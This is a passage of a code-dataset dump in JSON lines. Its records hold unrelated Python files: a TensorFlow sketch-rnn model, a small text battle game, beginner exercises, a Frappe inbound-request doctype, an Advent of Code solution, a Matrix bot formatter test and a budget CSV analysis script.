= my_hp - enemy_power\n print(\"我的当前血量:\", my_hp)\n enemy_hp = enemy_hp - my_power\n print(\"敌人当前血量:\", enemy_hp)\n if my_hp <= 0:\n print(\"我输了\")\n break\n elif enemy_hp <= 0:\n print(\"我赢了\")\n break\n\n\nif __name__ == '__main__':\n game()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"23347541","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport random\nimport numpy as np\nimport tensorflow as tf\nimport rnn\n\ndef copy_hparams(hparams):\n \"\"\"Return a copy of an HParams instance.\"\"\"\n return tf.contrib.training.HParams(**hparams.values())\n\ndef get_default_hparams():\n \"\"\"Return default HParams for sketch-rnn.\"\"\"\n hparams = tf.contrib.training.HParams(\n source = '1people5.npy', \n target = '1cartoon5.npy', \n sourcesTest = '1newsources5.npy', \n targetsTest = '1newtargets5.npy',\n num_steps=10000, # Total number of steps of training. Keep large. 迭代次数\n save_every=200, # Number of batches per checkpoint creation.\n max_seq_len=68, # Not used. Will be changed by model. [Eliminate?] 最长的序列长度\n dec_rnn_size=512, # Size of decoder. 解码器隐藏层单元数目\n dec_model='lstm', # Decoder: lstm, layer_norm or hyper.\n enc_rnn_size=256, # Size of encoder.编码器隐藏层单元数目\n enc_model='lstm', # Encoder: lstm, layer_norm or hyper.\n z_size=128, # Size of latent vector z. Recommend 32, 64 or 128. 隐含变量维度\n kl_weight=0.5, # KL weight of loss equation. Recommend 0.5 or 1.0. KL距离的权重\n kl_weight_start=0.01, # KL start weight when annealing.\n kl_tolerance=0.2, # Level of KL loss at which to stop optimizing for KL. \n il_weight=2, # KL weight of loss equation. Recommend 0.5 or 1.0. KL距离的权重\n il_weight_start=0.01, # KL start weight when annealing.\n il_tolerance=0.2, # Level of KL loss at which to stop optimizing for KL.\n batch_size=64, # Minibatch size. Recommend leaving at 100. \n grad_clip=1.0, # Gradient clipping. Recommend leaving at 1.0.\n num_mixture=20, # Number of mixtures in Gaussian mixture model. 高斯混合模型的个数\n learning_rate=0.001, # Learning rate. 学习率\n decay_rate=0.9999, # Learning rate decay per minibatch.\n min_learning_rate=0.00001, # Minimum learning rate. 最小的学习率\n kl_decay_rate=0.99995, # KL annealing decay rate per minibatch.\n il_decay_rate=0.99995, # KL annealing decay rate per minibatch.\n use_recurrent_dropout=True, # Dropout with memory loss. Recomended\n recurrent_dropout_prob=0.90, # Probability of recurrent dropout keep.\n use_input_dropout=False, # Input dropout. Recommend leaving False.\n input_dropout_prob=0.90, # Probability of input dropout keep.\n use_output_dropout=False, # Output droput. Recommend leaving False.\n output_dropout_prob=0.90, # Probability of output dropout keep.\n random_scale_factor=0.15, # 相关参数的初始值为随机均匀分布\n conditional=True, # When False, use unconditional decoder-only model.\n is_training=True # Is model training? Recommend keeping true.\n )\n return hparams\n\n# 创建SketchRNN模型\nclass Model(object):\n def __init__(self, hps, gpu_mode=True, reuse=False):\n tf.logging.info('model-创建seq2seqmodel====================================')\n self.hps = hps #网络参数\n with tf.variable_scope('vector_rnn', reuse=reuse):\n if not gpu_mode: #使用gpu\n with tf.device('/cpu:0'):\n tf.logging.info('Model using cpu.')\n self.build_model(hps)\n else:\n tf.logging.info('Model using gpu.')\n self.build_model(hps) \n #构建一个以hps为参数的模���\n \n #创建一个双向的encoder 输入batch和sequece的长度\n def encoder(self, batch, sequence_lengths): \n tf.logging.info('model-encoder部分')\n unused_outputs, last_states = tf.nn.bidirectional_dynamic_rnn(\n self.enc_cell_fw,\n self.enc_cell_bw,\n batch,\n sequence_length=sequence_lengths,\n time_major=False,\n swap_memory=True,\n dtype=tf.float32,\n scope='ENC_RNN')\n\n last_state_fw, last_state_bw = last_states\n last_h_fw = self.enc_cell_fw.get_output(last_state_fw) #得到正向RNN的最后的隐层输出\n last_h_bw = self.enc_cell_bw.get_output(last_state_bw) #得到反向RNN的最后的隐层输出\n last_h = tf.concat([last_h_fw, last_h_bw], 1) #bi-direction rnn 的最后隐层结果 h\n #===============================================================================\n mu = rnn.super_linear(last_h,\n self.hps.z_size,\n input_size=self.hps.enc_rnn_size * 2, # bi-dir, so x2\n scope='ENC_RNN_mu',\n init_w='gaussian',\n weight_start=0.001)\n presig = rnn.super_linear(last_h,\n self.hps.z_size,\n input_size=self.hps.enc_rnn_size * 2, # bi-dir, so x2\n scope='ENC_RNN_sigma',\n init_w='gaussian',\n weight_start=0.001)\n return mu, presig #128维的encoder最终输出\n\n #构建模型结构\n def build_model(self, hps): \n if hps.is_training:\n self.global_step = tf.Variable(0, name='global_step', trainable=False)\n\n if hps.dec_model == 'lstm':\n cell_fn = rnn.LSTMCell \n elif hps.dec_model == 'layer_norm':\n cell_fn = rnn.LayerNormLSTMCell\n elif hps.dec_model == 'hyper':\n cell_fn = rnn.HyperLSTMCell\n else:\n assert False, 'please choose a respectable cell'\n\n if hps.enc_model == 'lstm':\n enc_cell_fn = rnn.LSTMCell #设置编码器为LSTM\n elif hps.enc_model == 'layer_norm':\n enc_cell_fn = rnn.LayerNormLSTMCell\n elif hps.enc_model == 'hyper':\n enc_cell_fn = rnn.HyperLSTMCell\n else:\n assert False, 'please choose a respectable cell'\n\n #dropout技巧\n use_recurrent_dropout = self.hps.use_recurrent_dropout\n use_input_dropout = self.hps.use_input_dropout\n use_output_dropout = self.hps.use_output_dropout\n\n cell = cell_fn(\n hps.dec_rnn_size, #512\n use_recurrent_dropout=use_recurrent_dropout,\n dropout_keep_prob=self.hps.recurrent_dropout_prob)\n\n if hps.conditional: \n if hps.enc_model == 'hyper':\n self.enc_cell_fw = enc_cell_fn(hps.enc_rnn_size,\n use_recurrent_dropout=use_recurrent_dropout,\n dropout_keep_prob=self.hps.recurrent_dropout_prob)\n self.enc_cell_bw = enc_cell_fn(hps.enc_rnn_size,\n use_recurrent_dropout=use_recurrent_dropout,\n dropout_keep_prob=self.hps.recurrent_dropout_prob)\n else: #enc_model = lstm\n self.enc_cell_fw = enc_cell_fn( #双向RNN的正向\n hps.enc_rnn_size,\n use_recurrent_dropout=use_recurrent_dropout,\n dropout_keep_prob=self.hps.recurrent_dropout_prob)\n self.enc_cell_bw = enc_cell_fn( #双向RNN的反向\n hps.enc_rnn_size,\n use_recurrent_dropout=use_recurrent_dropout,\n dropout_keep_prob=self.hps.recurrent_dropout_prob)\n\n # dropout:\n tf.logging.info('Input dropout mode = %s.', use_input_dropout) #false\n tf.logging.info('Output dropout mode = %s.', use_output_dropout) #false\n tf.logging.info('Recurrent dropout mode = %s.', use_recurrent_dropout) #true\n if use_input_dropout:\n tf.logging.info('Dropout to input w/ keep_prob = %4.4f.',\n self.hps.input_dropout_prob)\n cell = tf.contrib.rnn.DropoutWrapper(cell, \n input_keep_prob=self.hps.input_dropout_prob)\n if use_output_dropout:\n tf.logging.info('Dropout to output w/ keep_prob = %4.4f.',\n self.hps.output_dropout_prob)\n cell = tf.contrib.rnn.DropoutWrapper(cell, \n output_keep_prob=self.hps.output_dropout_prob)\n \n #==============================decode !!!============================\n tf.logging.info('model- decoder 部分')\n self.cell = cell\n self.sequence_lengths = tf.placeholder(\n dtype=tf.int32, shape=[self.hps.batch_size]) #batch 大小 \n #包含了起始���的decoder输入 \n self.source_input = tf.placeholder(dtype=tf.float32,\n shape=[self.hps.batch_size, self.hps.max_seq_len + 1, 5])\n self.target_input = tf.placeholder(dtype=tf.float32,\n shape=[self.hps.batch_size, self.hps.max_seq_len + 1, 5]) \n \n tf.logging.info('model- encoder的输入')\n self.encoder_input_x = self.source_input[:, 1:self.hps.max_seq_len + 1, :] \n tf.logging.info('model- decoder的输入和标签')\n self.output_x = self.target_input[:, 1:self.hps.max_seq_len + 1, :] \n self.decoder_input_source_x = self.source_input[:, :self.hps.max_seq_len, :] \n self.decoder_input_target_x = self.target_input[:, :self.hps.max_seq_len, :]\n\n # 如果condition=true,输入加入隐含变量z\n if hps.conditional: \n self.mean, self.presig = self.encoder(self.encoder_input_x, self.sequence_lengths) \n self.sigma = tf.exp(self.presig / 2.0)\n eps = tf.random_normal((self.hps.batch_size, self.hps.z_size),\n 0.0, 1.0, dtype=tf.float32)\n self.batch_z = self.mean + tf.multiply(self.sigma, eps)\n self.kl_cost = -0.5 * tf.reduce_mean(\n (1 + self.presig - tf.square(self.mean) - tf.exp(self.presig))) \n self.kl_cost = tf.maximum(self.kl_cost, self.hps.kl_tolerance) \n #输入数据,得到隐含变量h \n pre_tile_y = tf.reshape(self.batch_z, [self.hps.batch_size, 1, self.hps.z_size])\n overlay_x = tf.tile(pre_tile_y, [1, self.hps.max_seq_len, 1])\n part_input_x = tf.concat([self.decoder_input_target_x, overlay_x], 2) \n actual_input_x = tf.concat([self.decoder_input_source_x, part_input_x], 2) \n # decoder每一时刻的输入为soure 和 target输入的组合 按咧拼接’ \n self.initial_state = tf.nn.tanh(rnn.super_linear(self.batch_z,\n cell.state_size,init_w='gaussian',weight_start=0.001,\n input_size=self.hps.z_size))\n # unconditional, decoder-only generation\n else: \n self.batch_z = tf.zeros((self.hps.batch_size, self.hps.z_size), dtype=tf.float32)\n actual_input_x = self.input_x\n self.initial_state = cell.zero_state(batch_size=hps.batch_size, dtype=tf.float32)\n\n tf.logging.info('model- 开始高斯混合模型采样了======================================')\n self.num_mixture = hps.num_mixture #混合高斯模型的高斯个数 20\n n_out = (3 + self.num_mixture * 6) \n #解码器输出y的维度为 5M + M + 3,分别表示高斯函数参数、权重、(p1,p2,p3)\n with tf.variable_scope('RNN'):\n output_w = tf.get_variable('output_w', [self.hps.dec_rnn_size, n_out])\n output_b = tf.get_variable('output_b', [n_out])\n\n # decoder module of sketch-rnn is below\n output, last_state = tf.nn.dynamic_rnn( cell, actual_input_x,\n initial_state=self.initial_state,time_major=False,\n swap_memory=True,dtype=tf.float32,scope='RNN')\n\n output = tf.reshape(output, [-1, hps.dec_rnn_size])\n output = tf.nn.xw_plus_b(output, output_w, output_b) #全连接层,接n_out个神经元\n self.final_state = last_state\n\n # x1 x2分别是坐标x轴和y轴的偏移量,result为二维正态分布的概率密度\n def tf_2d_normal(x1, x2, mu1, mu2, s1, s2, rho):\n tf.logging.info('model- 根据那篇文章的公式计算二维正态分布的概率密度')\n norm1 = tf.subtract(x1, mu1)\n norm2 = tf.subtract(x2, mu2)\n s1s2 = tf.multiply(s1, s2)\n z = (tf.square(tf.div(norm1, s1)) + tf.square(tf.div(norm2, s2)) -2 *\n tf.div(tf.multiply(rho, tf.multiply(norm1, norm2)), s1s2))\n neg_rho = 1 - tf.square(rho)\n result = tf.exp(tf.div(-z, 2 * neg_rho))\n denom = 2 * np.pi * tf.multiply(s1s2, tf.sqrt(neg_rho))\n result = tf.div(result, denom)\n return result \n \n #计算重构误差,求上面概率密度的对数\n def get_lossfunc(z_pi, z_mu1, z_mu2, z_sigma1, z_sigma2, z_corr,\n z_pen_logits, x1_data, x2_data, pen_data):\n tf.logging.info('model- 计算重构误差')\n #采样(x,y)数据的误差 \n result0 = tf_2d_normal(x1_data, x2_data, z_mu1, z_mu2, z_sigma1, z_sigma2, z_corr)\n epsilon = 1e-6\n result1 = tf.multiply(result0, z_pi) #每一个高斯模型乘上相应的权重\n result1 = tf.reduce_sum(result1, 1, keep_dims=True) #对所有求和\n result1 = -tf.log(result1 + epsilon) # avoid log(0) \n fs = 1.0 - pen_data[:,2] #如果最后一个点为1,则为终点概率为0,反之,为1. \n fs = tf.reshape(fs, [-1, 1]) #将batch * 1 的数据转为 1* batch的数据\n result1 = tf.multiply(result1, fs)\n\n # result2: loss wrt pen state, (L_p in equation 9)\n result2 = tf.nn.softmax_cross_entropy_with_logits( #Lp就是求交叉熵\n labels=pen_data, logits=z_pen_logits)\n result2 = tf.reshape(result2, [-1, 1])\n if not self.hps.is_training: # eval mode, mask eos columns\n result2 = tf.multiply(result2, fs)\n\n result = result1 + result2\n return result\n \n\n # below is where we need to do MDN (Mixture Density Network) splitting of\n # distribution params\n def get_mixture_coef(output):\n tf.logging.info('model- 将decoder的网络输出切分成高斯混合模型的参数')\n \"\"\"Returns the tf slices containing mdn dist params.\"\"\"\n #根据decoder输出的6M+8的值,构建混合高斯模型\n z = output\n z_pen_logits = z[:, 0:3] # pen states z的前三个值为(p1,p2,p3)\n #剩下的6个分别为权重pi,miu(x),miu(y), z_sigma1, z_sigma2, z_corr\n z_pi, z_mu1, z_mu2, z_sigma1, z_sigma2, z_corr = tf.split(z[:, 3:], 6, 1)\n\n # process output z's into MDN paramters\n\n # softmax all the pi's and pen states:\n z_pi = tf.nn.softmax(z_pi)\n z_pen = tf.nn.softmax(z_pen_logits) \n #对(p1,p2,p3)和pi的值做做logit处理,是的其都为正,且加起来为1\n\n # exponentiate the sigmas and also make corr between -1 and 1.\n z_sigma1 = tf.exp(z_sigma1)\n z_sigma2 = tf.exp(z_sigma2)\n z_corr = tf.tanh(z_corr)\n\n r = [z_pi, z_mu1, z_mu2, z_sigma1, z_sigma2, z_corr, z_pen, z_pen_logits]\n return r \n\n tf.logging.info('model- 调用切分输出函数')\n out = get_mixture_coef(output)\n [o_pi, o_mu1, o_mu2, o_sigma1, o_sigma2, o_corr, o_pen, o_pen_logits] = out\n\n self.pi = o_pi\n self.mu1 = o_mu1\n self.mu2 = o_mu2\n self.sigma1 = o_sigma1\n self.sigma2 = o_sigma2\n self.corr = o_corr\n self.pen_logits = o_pen_logits\n self.pen = o_pen\n\n # 重构误差\n target = tf.reshape(self.output_x, [-1, 5]) #目标输出(x,y ,p1,p2,p3)\n [x1_data, x2_data, p1, p2, p3] = tf.split(target, 5, 1)\n pen_data = tf.concat([p1, p2, p3], 1) \n lossfunc = get_lossfunc(o_pi, o_mu1, o_mu2, o_sigma1, o_sigma2, o_corr,\n o_pen_logits, x1_data, x2_data, pen_data)\n self.r_cost = tf.reduce_mean(lossfunc) \n \n # identify loss\n sourcess = tf.reshape(self.encoder_input_x, [-1, 5]) #网络输入(x,y ,p1,p2,p3)\n [s1_data, s2_data, sp1, sp2, sp3] = tf.split(sourcess, 5, 1)\n spen_data = tf.concat([sp1, sp2, sp3], 1) \n identyfunc = get_lossfunc(o_pi, o_mu1, o_mu2, o_sigma1, o_sigma2, o_corr,\n o_pen_logits, s1_data, s2_data, spen_data)\n self.i_cost = tf.reduce_mean(identyfunc) \n \n if self.hps.is_training:\n tf.logging.info('model- 选择学习率和误差函数')\n self.lr = tf.Variable(self.hps.learning_rate, trainable=False)\n optimizer = tf.train.AdamOptimizer(self.lr) #使用ADAM优化方式 \n self.kl_weight = tf.Variable(self.hps.kl_weight_start, trainable=False)\n self.il_weight = tf.Variable(self.hps.il_weight_start, trainable=False)\n self.cost = self.r_cost + self.kl_cost * self.kl_weight + self.i_cost * self.il_weight\n gvs = optimizer.compute_gradients(self.cost)\n g = self.hps.grad_clip # 1.0\n capped_gvs = [(tf.clip_by_value(grad, -g, g), var) for grad, var in gvs]\n self.train_op = optimizer.apply_gradients(\n capped_gvs, global_step=self.global_step, name='train_step')","sub_path":"DeepExaggeration/model4_2_localloss.py","file_name":"model4_2_localloss.py","file_ext":"py","file_size_in_byte":17658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"492145952","text":"# https://www.practicepython.org/exercise/2014/03/12/06-string-lists.html\nstring = input('String: ')\nstring_list = []\n\nfor letter in string:\n string_list.append(letter)\n\nstring_list.reverse()\n\nif ''.join(string_list) == string:\n print(f'{string} is a palindrome')\nelse:\n print(f'{string} is not a palindrome')\n\n\n# Solution using string reversal:\nstring = input('String: ')\nreversed_string = string[::-1]\n\nif reversed_string == string:\n print(f'{string} is a palindrome')\nelse:\n print(f'{string} is not a palindrome')","sub_path":"String_Lists.py","file_name":"String_Lists.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"383074977","text":"\n\n\n\ndef BuildDictStructure(Samples):\n \"\"\"builds the dictionary structure that holds a set of histograms\n with their properties. It is now empty, to be filled with the histos\n and property dictionaries later on\"\"\"\n KeyList=[]\n if type(Samples)==dict:\n for key,values in Samples.iteritems():\n KeyList.append(key)\n else:\n KeyList.append(Samples.SampleName)\n\n #\n StructureDictionary={}\n for key in KeyList:\n #\n #the item is a list\n StructureDictionary[key]=[]\n #the first entry of the list will have to be the histogram pointer\n #I put 'nil' but I will overwrite it with the pointer later on.\n StructureDictionary[key].append('nil')\n #\n #the second entry of the list is a dictionary of plot properties\n #also set to emtpy and to be filled later on\n PlotPropertiesDictionary={}\n StructureDictionary[key].append(PlotPropertiesDictionary)\n #\n return StructureDictionary\n","sub_path":"pythonTools/plottools/Plot_BuildDictStructure.py","file_name":"Plot_BuildDictStructure.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"192678184","text":"#!/usr/bin/python3\n\"\"\"Define class Base\"\"\"\nimport json\nimport csv\n\n\nclass Base():\n \"\"\"Class Base\n\n class for modules base.\n\n This is the base class for all other class to be built on top of\n \"\"\"\n\n __nb_objects = 0\n\n def __init__(self, id=None):\n \"\"\" Creates an ID\"\"\"\n if id:\n self.id = id\n else:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n\n @staticmethod\n def reset():\n \"\"\" Resets private var __nb_objects to 0\n used for testing only\n \"\"\"\n Base.__nb_objects = 0\n\n @staticmethod\n def to_json_string(list_dictionaries):\n \"\"\" convert object/dic into json strings\n \"\"\"\n dictionary = []\n if not list_dictionaries or len(list_dictionaries) == 0:\n return \"[]\"\n for ele in list_dictionaries:\n if isinstance(ele, dict):\n dictionary.append(ele)\n else:\n dictionary.append(ele.to_dictionary())\n\n return json.JSONEncoder().encode(dictionary)\n\n @classmethod\n def save_to_file(cls, list_objc):\n \"\"\" save a json file\"\"\"\n with open(\"{}.json\".format(cls.__name__), \"w\") as f:\n json_str = cls.to_json_string(list_objc)\n f.write(json_str)\n\n @staticmethod\n def from_json_string(json_string):\n \"\"\" Creates Dictionaries from a json string\n \"\"\"\n if not json_string:\n return list()\n return json.JSONDecoder().decode(json_string)\n\n @classmethod\n def create(cls, **dictionary):\n \"\"\" Create new instance from a dictionary\n \"\"\"\n if cls.__name__ == \"Square\":\n obj = cls(1, 0, 0)\n else:\n obj = cls(1, 1, 0, 0)\n obj.update(**dictionary)\n return obj\n\n @classmethod\n def load_from_file(cls):\n \"\"\" load a json file and create instances\n else if file doesn't exist return a empty\n list\n \"\"\"\n ls_dict = []\n objs = []\n try:\n with open(\"{}.json\".format(cls.__name__)) as f:\n ls_dict = cls.from_json_string(f.read())\n for ele in ls_dict:\n objs.append(cls.create(**ele))\n f.close()\n finally:\n return objs\n\n @classmethod\n def save_to_file_csv(cls, list_objs):\n \"\"\" Save out a list of objects as a csv file\n \"\"\"\n with open(cls.__name__ + \".csv\", \"w\") as f:\n for idx, i in enumerate(list_objs):\n d = i.to_dictionary()\n if idx == 0:\n w = csv.DictWriter(f, fieldnames=d.keys())\n w.writeheader()\n w.writerow(d)\n f.close()\n\n @classmethod\n def load_from_file_csv(cls):\n \"\"\" Loads up ojbect instances from a csv file\n \"\"\"\n objs = list()\n with open(cls.__name__ + \".csv\", \"r\") as f:\n csv_read = csv.DictReader(f)\n for row in csv_read:\n row = {k: int(v) for k, v in row.items()}\n objs.append(cls.create(**row))\n f.close()\n return objs\n","sub_path":"0x0C-python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"23618333","text":"MEMBER_1 = \"Madeline\"\nMEMBER_2 = \"Gurpreet\"\nMEMBER_3 = \"Lucy\"\n\nMEMBER_1_HOME = \"St. Joseph, MI\"\nMEMBER_2_HOME = \"Delhi, India\"\nMEMBER_3_HOME = \"Ann Arbor, MI\"\n\nMEMBERS = {\n MEMBER_1:MEMBER_1_HOME,\n MEMBER_2:MEMBER_2_HOME,\n MEMBER_3:MEMBER_3_HOME,\n}\n\nfor k,v in MEMBERS.items():\n print(f\"{k} is from {v}\")\n","sub_path":"exercise_1.py","file_name":"exercise_1.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"508819187","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2019, hanif and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\nimport frappe\nfrom frappe.model.document import Document\n\nclass InboundRequest(Document):\n\tpass\n\n\tdef on_submit(self):\n\t\tself.on_approve()\n\n\tdef on_approve(self):\n\t\tif (self.docstatus == 1):\n\t\t\tInboundOrder = frappe.new_doc(\"Inbound Order\")\n\t\t\tInboundOrder.id_member = self.id_member\n\t\t\tInboundOrder.nama_member = self.nama_member\n\t\t\tInboundOrder.member_type = self.member_type\n\t\t\tInboundOrder.nama_produk = self.nama_produk\n\t\t\tInboundOrder.tanggal_request = self.tanggal_request\n\t\t\tInboundOrder.jenis_produk = self.jenis_produk\n\t\t\tInboundOrder.jumlah_produk = self.jumlah_produk\n\t\t\tInboundOrder.save()\n\t\t\tnew_InboundOrder = frappe.get_doc(\"Inbound Order\", InboundOrder.name)\n\t\t\tfrappe.msgprint(\n\t\t\t\t'Success Create Inbound Order with doc no. {}'.format(new_InboundOrder.name))\n\t\t\t\n\t\t\tListProduk = frappe.new_doc(\"List Produk\")\n\t\t\tListProduk.id_request = self.name\n\t\t\tListProduk.nama_member = self.nama_member\n\t\t\tListProduk.nama_produk = self.nama_produk\n\t\t\tListProduk.jenis_produk = self.jenis_produk\n\t\t\tListProduk.jumlah_produk = self.jumlah_produk\n\t\t\tListProduk.save()\n\t\t\tnew_ListProduk = frappe.get_doc(\"List Produk\", ListProduk.name)\n\t\t\tfrappe.msgprint(\n\t\t\t\t'Success Create List Produk with doc no. {}'.format(new_ListProduk.name))\n\n\t\t\tWarehouseTemp = frappe.new_doc(\"Warehouse Temporary\")\n\t\t\tWarehouseTemp.id_request = self.name\n\t\t\tWarehouseTemp.nama_member = self.nama_member\n\t\t\tWarehouseTemp.nama_produk = self.nama_produk\n\t\t\tWarehouseTemp.jenis_produk = self.jenis_produk\n\t\t\tWarehouseTemp.jumlah_produk = self.jumlah_produk\n\t\t\tWarehouseTemp.save()\n\t\t\tnew_WarehouseTemp = frappe.get_doc(\"Warehouse Temporary\", WarehouseTemp.name)\n\t\t\tfrappe.msgprint(\n\t\t\t\t'Success Create Warehouse Temporary with doc no. {}'.format(new_WarehouseTemp.name))\n","sub_path":"mywarehouse/mywarehouse/doctype/inbound_request/inbound_request.py","file_name":"inbound_request.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"301121953","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nclass FeedInfoVo(models.Model):\n \n class Meta:\n db_table = \"feed_info\"\n \n feed_id = models.AutoField(primary_key=True)\n feed_msg = models.TextField(null = False)\n feed_time = models.DateTimeField(auto_now_add=True)\n enabled = models.BooleanField(default=True)\n send_email = models.BooleanField(default=False)\n usrInfoVo = models.ForeignKey(User, db_column=\"auth_usr_id\", null=True)","sub_path":"mysite/feedback/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"627774085","text":"import typing\nimport re\n\n\nclass Guard:\n def __init__(self, guard_id):\n self._guard_id = guard_id\n\n self._minute_sleep_count = {}\n self._total_minutes = 0\n self._minute_most_asleep = None\n\n def add_sleep_range(self, start, stop):\n stop += 1\n for minute in range(start, stop):\n self._total_minutes += 1\n minute_sleep = self._minute_sleep_count.get(minute, 0)\n minute_sleep += 1\n self._minute_sleep_count[minute] = minute_sleep\n\n if not self._minute_most_asleep or \\\n minute_sleep > self._minute_sleep_count[self.minute_most_asleep]:\n self._minute_most_asleep = minute\n\n @property\n def total_minutes(self):\n return self._total_minutes\n\n @property\n def minute_most_asleep(self):\n return self._minute_most_asleep\n\n @property\n def minute_most_asleep_count(self):\n return self._minute_sleep_count[self._minute_most_asleep]\n\n @property\n def guard_id(self):\n return self._guard_id\n\n\ndef get_sleep_range(log) -> typing.Tuple[int, int, int]:\n log_start = 19\n guard_end = 24\n asleep_end = 31\n awake_end = 27\n minute_start = 15\n minute_end = 17\n for line in log:\n if line[log_start:guard_end] == 'Guard':\n match = re.search('#([0-9]+)', line)\n guard_id = int(match.group(1))\n elif line[log_start:asleep_end] == 'falls asleep':\n start = int(line[minute_start:minute_end])\n elif line[log_start:awake_end] == 'wakes up':\n stop = int(line[minute_start:minute_end])\n yield guard_id, start, stop\n\n\ndef get_guard_most_minute(log) -> Guard:\n guards: typing.Dict[int, Guard] = {}\n guard_most_minute_sleep: Guard = None\n\n for guard_id, start, stop in get_sleep_range(log):\n if guard_id in guards:\n guard = guards[guard_id]\n else:\n guard = Guard(guard_id)\n guards[guard_id] = guard\n\n guard.add_sleep_range(start, stop)\n\n if not guard_most_minute_sleep or \\\n guard.minute_most_asleep_count > guard_most_minute_sleep.minute_most_asleep_count:\n guard_most_minute_sleep = guard\n\n return guard_most_minute_sleep\n\n\ndef main():\n with open('inputs\\\\input04.txt') as input_file:\n log = sorted(input_file)\n\n guard = get_guard_most_minute(log)\n\n answer = guard.guard_id * guard.minute_most_asleep\n print(f'{guard.guard_id} * {guard.minute_most_asleep} = {answer}')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"4/2/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"353204258","text":"\"\"\"Test module for gitlab \"google chat\" formatter.\"\"\"\n\nimport unittest\nfrom pathlib import Path\n\nimport httpx\nimport nio\n\nfrom .start import BOT_URL, FULL_ID, KEY, MATRIX_ID, MATRIX_PW, MATRIX_URL\n\n\nclass GitlabGchatFormatterTest(unittest.IsolatedAsyncioTestCase):\n \"\"\"Gitlab \"google chat\" formatter test class.\"\"\"\n\n async def test_gitlab_gchat_body(self):\n \"\"\"Send a markdown message, and check the result.\"\"\"\n messages = []\n client = nio.AsyncClient(MATRIX_URL, MATRIX_ID)\n\n await client.login(MATRIX_PW)\n room = await client.room_create()\n\n with Path(\"tests/example_gitlab_gchat.json\").open() as f:\n example_gitlab_gchat_request = f.read()\n self.assertEqual(\n httpx.post(\n f\"{BOT_URL}/{room.room_id}\",\n params={\"formatter\": \"gitlab_gchat\", \"key\": KEY},\n content=example_gitlab_gchat_request,\n ).json(),\n {\"status\": 200, \"ret\": \"OK\"},\n )\n\n sync = await client.sync()\n messages = await client.room_messages(room.room_id, sync.next_batch)\n await client.close()\n\n message = messages.chunk[0]\n self.assertEqual(message.sender, FULL_ID)\n self.assertEqual(\n message.body,\n \"John Doe pushed to branch [master](https://gitlab.com/jdoe/test/commits/m\"\n + \"aster) of [John Doe / test](https://gitlab.com/jdoe/test) ([Compare chan\"\n + \"ges](https://gitlab.com/jdoe/test/compare/b76004b20503d4d506e51a670de095\"\n + \"cc063e4707...3517b06c64c9d349e2213650d6c009db0471361e))\\n[3517b06c](http\"\n + \"s://gitlab.com/jdoe/test/-/commit/3517b06c64c9d349e2213650d6c009db047136\"\n + \"1e): Merge branch 'prod' into 'master' - John Doe\\n\\n[1f661795](https://\"\n + \"gitlab.com/jdoe/test/-/commit/1f661795b220c5fe352f391eb8de3ac4fcc6fc1d):\"\n + \" Merge branch 'revert-a827b196' into 'prod' - John Doe\\n\\n[b76004b2](htt\"\n + \"ps://gitlab.com/jdoe/test/-/commit/b76004b20503d4d506e51a670de095cc063e4\"\n + \"707): Merge branch 'revert-a827b196' into 'master' - John Doe\",\n )\n","sub_path":"tests/test_gitlab_gchat.py","file_name":"test_gitlab_gchat.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"321980615","text":"import os\nimport csv\n\nbudget_csv = os.path.join(\"Resources\", \"budget_data.csv\")\n\nfile_output = \"analysis/results.txt\"\n\n#initializing the variables\ntotal_months =0\ntotal_revenue = 0\nprevious_profit = 0\nchanges_of_profit = []\ndate_count = []\ngreatest_increase = 0\ngreatest_increase_date = 0\ngreatest_decrease = 0\ngreatest_decrease_date = 0 \n\n#Open the CSV\nwith open(budget_csv, newline='') as csvfile:\n csv_reader = csv.reader(csvfile, delimiter = \",\")\n header= next(csv_reader)\n\n#Total number of months and total revenue\n # previous_profit = int(first_row[1])\n # greatest_increase = int(first_row[1])\n # greatest_increase_date = first_row[0]\n \n for row in csv_reader:\n total_months = total_months +1\n total_revenue = total_revenue + int(row[1])\n \n # Calculate changes occur from last month to this month\n change = int(row[1]) - previous_profit\n previous_profit = int(row[1])\n changes_of_profit.append(change)\n date_count.append(row[0])\n\n #Find the great increase in profits over the entire period\n if change > greatest_increase:\n greatest_increase = change\n greatest_increase_date = row[0]\n\n if change < greatest_decrease:\n greatest_decrease = change\n greatest_decrease_date = row[0]\n \n\naverage_changes = sum(changes_of_profit)/len(changes_of_profit)\n\nprint(\"Financial Analysis\")\nprint(\"--------------------------------\")\nprint(\"Total Months: \" + str(total_months))\nprint(\"Total Amount: \" + str(total_revenue))\nprint(\"Average Change: \" + str(average_changes))\nprint(\"Greatest Increase in Profits: \" + greatest_increase_date + \" ($\" + str(greatest_increase) + \")\")\nprint(\"Greatest Decrease in Profits: \" + greatest_decrease_date + \" ($\" + 